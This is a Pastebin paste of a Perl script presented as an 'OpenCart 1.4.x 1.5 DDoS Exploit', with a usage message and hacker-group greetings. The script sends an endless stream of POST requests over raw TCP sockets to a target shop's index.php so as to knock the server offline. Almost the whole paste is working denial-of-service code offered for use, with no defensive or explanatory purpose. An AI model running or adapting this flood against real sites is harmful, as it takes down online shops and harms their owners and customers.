cybercode

DDoS - Perl #6 BOT (OpenCart)

Feb 20th, 2012
708
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.62 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # ********* In The name of Allah ************
  3. ###
  4. # Title : OpenCart 1.4.x 1.5 DDoS Exploit
  5. # Author : KedAns-Dz
  6. # Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
  7. # Twitter page : twitter.com/kedans
  8. # platform : php
  9. # Impact : Remote DDos Attack (D.O.S Server)
  10. # Tested on : Windows XP SP3 Français
  11. # Target : OpenCart 1.4.x 1.5
  12. ###
  13. # Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
  14. # ------------
  15. # ********* In The name of Allah ************
  16. system("title KedAns-Dz");
  17. system("color c0");
  18. system("cls");
  19. sleep(1);
  20. # **  Allah Akbar **
  21. use Socket;
  22. if (@ARGV < 2) { &usage }
  23. $rand=rand(10);
  24. $host = $ARGV[0];
  25. $dir = $ARGV[1];
  26. $host =~ s/(http:\/\/)//eg;
  27. for ($i=0; $i<10; $i--)
  28. {
  29. $user="vb".$rand.$i;
  30. $data = "s="
  31. ;
  32. $len = length $data;
  33. $foo = "POST ".$dir."index.php HTTP/1.1\r\n".
  34. "Accept: */*\r\n".
  35. "Accept-Language: en-gb\r\n".
  36. "Content-Type: application/x-www-form-urlencoded\r\n".
  37. "Accept-Encoding: gzip, deflate\r\n".
  38. "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
  39. "Host: $host\r\n".
  40. "Content-Length: $len\r\n".
  41. "Connection: Keep-Alive\r\n".
  42. "Cache-Control: no-cache\r\n\r\n".
  43. "$data";
  44. my $port = "80";
  45. my $proto = getprotobyname('tcp');
  46. socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
  47. connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
  48. send(SOCKET,"$foo", 0);
  49. syswrite STDOUT, "+" ;
  50. }
  51. print "\n\n";
  52. system('ping $host');
  53. sub usage {
  54. print "\tusage: \n";
  55. print "\t$0 <host> </dir/>\n";
  56. print "\Ex: $0 127.0.0.1 /shop/\n";
  57. print "\Ex2: $0 target.com /\n\n";
  58. exit();
  59. };
  60. # ** In The Peace of Allah **
  61. #================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================
  62. # Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
  63. # Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz
  64. # Masimovic * TOnyXED * cr4wl3r (Inj3ct0r.com) * TeX (hotturks.org) * KelvinX (kelvinx.net) * Dos-Dz
  65. # Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (www.1923turk.com)
  66. # Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{
  67. # Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX
  68. # Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,
  69. # www.packetstormsecurity.org * bugsearch.net * 1337day.com * exploit-id.com
  70. # www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...
  71. #================================================================================================
Advertisement
Add Comment
Please, Sign In to add comment